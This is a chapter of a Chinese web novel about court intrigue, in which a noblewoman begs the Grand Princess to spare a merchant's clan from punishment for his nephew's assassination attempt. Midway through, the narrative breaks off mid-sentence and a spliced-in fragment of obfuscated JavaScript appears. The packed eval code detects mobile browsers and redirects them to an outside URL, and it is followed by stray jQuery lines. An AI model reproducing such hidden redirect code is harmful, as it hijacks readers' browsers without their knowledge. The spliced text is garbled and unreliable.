闻香识客 作品

80. 九族消消乐

魏嫣然以为自己提及大理寺,纪长月便能知晓她来这是做什么的。


但纪长月为何此时出在这。


莫非纪长月竟是后悔了不成?


正当她思绪纷乱之际,纪长月已然来到近前,魏嫣然只得忙抬手打招呼,“殿下好,殿下你怎么来了?”


牢房之内,王员外反应极快,见纪长月到来,赶忙跪倒在地,口中高呼:“长公主万岁万岁万万岁。”


他神情惶恐,双手紧握,额间渗出细密汗珠。


纪长月微微一挥手,一旁侍卫见状,立刻快步走上前去,将那牢房门缓缓打开。


随着“吱呀”一声轻响,牢房内的景观被人尽收眼底。


李明正躺在干草之上,翘着二郎腿,神情满不在乎,即便是被下大狱,他也掩不住他身上那股桀骜之气。


王员外见状,气得浑身发抖,抬手便狠狠锤了他几拳,口中骂道:“殿下,这个混账实在是不懂事。”


他的声音带着颤音,眼神中满是恨铁不成钢之意,望着李明的目光,似是恨不得将其吞入腹中。


随后,他又看向魏嫣然,眼神中满是无奈与焦急。


魏嫣然瞧着李明那副模样,生怕王员外被连累,血溅当场。


她心中疑惑更甚,这李明莫非真是疯子不成?


长公主之威,天下皆知,她不止能杀他,还能杀他全家,甚至九族。


这李明难道真连九族消消乐都不怕?


可转念一想,她又觉得此事大有蹊跷。李明曾刺杀纪长月,按理说,纪长月抓到他后,定会严加惩处,以正视听。


可如今,即便王员外与她有些许关联,纪长月需有所顾忌,也不至于让李明如此嚣张跋扈。


除非……纪长月一开始便不想动李明。


魏嫣然心中一惊,随即又想起李明曾言他是武状元。当朝武状元因纪长月是个女子便行刺,这不仅对纪长月性命构成威胁,更是对其统治正统性的动摇。


若纪长月真的杀了李明,固然能消减那些反对她的声音,可也侧面坐实了她把持朝政的不正当性。


所以纪长月留着李明,是想让他臣服,然后做个榜样给别人看?


也确实,若真能将李明收服,那对纪长月称帝之事定能扫除一大障碍。


可就李明这般一根筋的性子,想要说服他,难度怕是不小。


正思忖间,魏嫣然忽觉纪长月的目光落在自己身上,她忙回过头去,与纪长月对视。


只见纪长月眼神深邃藏着几分深意。


魏嫣然心中一紧。


这什么意思?让她说服李明?


....


魏嫣然抬眼望去,恰又对上了王员外那满含期望的目光。她微微抿了抿唇,心中虽知此事艰难,却也只得硬着头皮尝试劝说


“小明同学,你若仅因长公主是女子便行刺,这般胸襟,未免也太狭隘了些。”


李明听闻此言,冷哼一声,缓缓起身。他是武状元,站起来接近两丈。


他直直地看向纪长月,朗声道:“纪长月你身为公主,享天下供养,却趁圣上病重之际,圈禁圣上与太子,独揽朝政大权。我在牢中也有所耳闻,说什么太子谋反被她诛杀,分明就是她为了篡夺皇位,不择手段。你要杀便杀,何必在此多言。”


纪长月听罢,眼中杀意渐浓,那双眸子似寒星般闪烁,周身气场也愈发凌厉,似能将人压迫得喘不过气来。


魏嫣然见状,心中一急,赶忙抢步上前,挡在二人中间,双手微抬,似是想隔开这剑拔弩张的气氛,“且慢!你说这些,可有确凿证据?”


李明一时语塞,像是被堵住了喉咙,半晌才挤出一句:“我……大家都这么说。”


魏嫣然眼中闪过一丝喜色,似是看到了一丝希望,她趁势追击,语带讥诮,“大家都这么说,你便信以为真?分明是你自己心胸狭隘,瞧不起女子,才偏信了那些你愿听的谣言。”


李明听闻此言,不禁翻了个白眼,那神情似是懒得与她多辩,却又忍不住反驳道:“那又如何?女子当政,本就是祸乱朝纲之举。我不过是说出了大家心底想说却不敢说的话罢了。”


魏嫣然又冷声质问道:“你这般强调男女之别,难不成你练武受伤时,碰到女大夫便要拒绝医治不成?”


李明重新躺回干草之上,双手枕于脑后,一副满不在乎的模样,“正是如此,我不信女人,宁愿伤重而死,也绝不会相信一个女人。”


魏嫣然气得咬了咬牙,她忍不住瞥了眼身旁侍卫腰间佩戴的长剑,真想拔出那剑,一剑囊死他。


她可算明白纪长月为何定要让李明臣服,若连李明这般的顽固之人都能被说服,那朝堂之上,怕是无人再会不服。


可她说服不了李明,而且也不想和这种脑袋和屁股长反了的人说话、


“殿下,捅死他吧。”


魏嫣然又转头看向王员外,只见他满面愁容。


她想起王员外往日的种种,心中一软,“殿下,我了解王员外,他绝无冒犯长公主之意。长公主可否看在他也为黄河水患赈灾出过力的份上,饶过他及其九族性命。”


她顿了顿,又接着说道:“我在边城的土地,愿全部充入大梁国库,只求长公主能让王员外回边城,让他一辈子为长公主打理那片土地。”


说罢,魏嫣然缓缓跪倒在地,那身华服在尘土中显得有些突兀,可她却浑不在意。


自她来到这里,这已是她第二次下跪。


上次公堂之上,她跪纪德清,是迫于无奈,形势所迫。


而今,她却是心甘情愿,只盼纪德清没有骗她,纪长月真的能因为自己求求她,就能放过人。


王员外在一旁看得目瞪口呆,他万没想到魏嫣然竟会为他做到这般地步。商人重利,即便是他自己的家人遭遇大难,让他拿出全部土地,他也要思虑许久。


可魏嫣然却如此轻易地将土地拱手相让,只为救他一命。


刹那间,王员外的眼眶瞬间便红了,泪水在眼眶中打转,几欲夺眶而出。


他望着魏嫣然那坚定的背影,心中满是愧疚与感激,口中喃


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298199|161114||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


喃道:“世子妃……罢了,罢了,或许,这便是我的命吧。”


纪长月微微垂下眼眸,冷冷道:“起来。”


魏嫣然一时有些不明所以,抬眼望去,正巧对上纪长月那冷峻的目光。便在此时,明月快步上前,伸手轻轻搀扶起魏嫣然,动作轻柔却带着不容抗拒。


纪长月的声音再次响起,清冷而低沉:“本宫答应。”


魏嫣然闻言,心中紧绷的弦瞬间松弛下来。她没白跪,原来求求纪长月,真的能管用,连这种看似不可能的事都能答应下来。


王员外早已泪流满面,跪在地上,身子微微颤抖,那声音呜咽得如同被寒风吹过的枯枝,让人心生怜悯。


他心中满是劫后余生的庆幸,却又夹杂着无尽的委屈。他一生遵纪守法,行事谨慎,却险些被李明一人拖累,到了九族都不保的地步。


好在...好在遇到了魏嫣然。


他猛地对着魏嫣然磕起头来,那额头与地面相撞,发出“咚咚”的声响,鲜血瞬间渗出,染红了地面。他却全然不顾,只一味地磕着,口中念叨着:“世子妃……世子妃……真的谢谢你,你的大恩大德,我来世做牛做马也要报答!”


魏嫣然见状心中一惊,赶忙上前,伸手去扶王员外,声音中带着几分急切:“别别!我之前还坑你呢,咱俩算持平了。”


王员外抬起头,那张脸已被泪水和鲜血糊得不成样子,他带着哭腔说道:“扯不平,我全家给世子妃当牛做马都扯不平啊!”


李明见状,再也坐不住,他艰难地起身,伸手去触碰王员外,轻唤道:“舅舅……”


王员外却恨恨地瞪着他,一巴掌狠狠地扇在他的脸上,那清脆的声响在牢房中回荡。


他愤恨地说道:“你个畜生,要死便死,别来拖累我们。我们都为你成为武状元欣喜万分,结果你转头就来要我们的命。我们到底做错了什么!做错了什么!让你这么来害我们?”


李明愣在原地,脸上带着被打后的红痕,眼中满是震惊与无措,一时间竟不知该如何回应。他沉默不语,只是呆呆地望着王员外。


魏嫣然看着李明,心中也是气不打一处来。她转头看向纪长月,“殿下,这人就是个蠢货,您可千万别为这种人生气。


他自诩武状元,却不去边关守卫大梁,反而来刺杀将大梁治理得如此好的人。


父母生他养他,他却丝毫没有感恩之心,拿着那些无稽之谈去犯下大错,连累家人。


这样的人毫无用处,活着便是让人生恶的存在。被他这般反对,根本就不算什么。若是让这样的人追随殿下,那才叫人恶心。”


她说完,狠狠地瞪李明一眼。


纪长月却笑了,“本宫知道。但是李明,本宫也放过你。”


一时之中牢房里的人全都惊呆了,不可置信地看着纪长月。


纪长月这才继续道:“魏嫣然因为帮我,已是众人眼中钉,处境危险至极。李明,本宫要你做魏嫣然的贴身侍卫保护她,本宫想看看,你这个畜生要如何对待救你全家性命的女恩人。”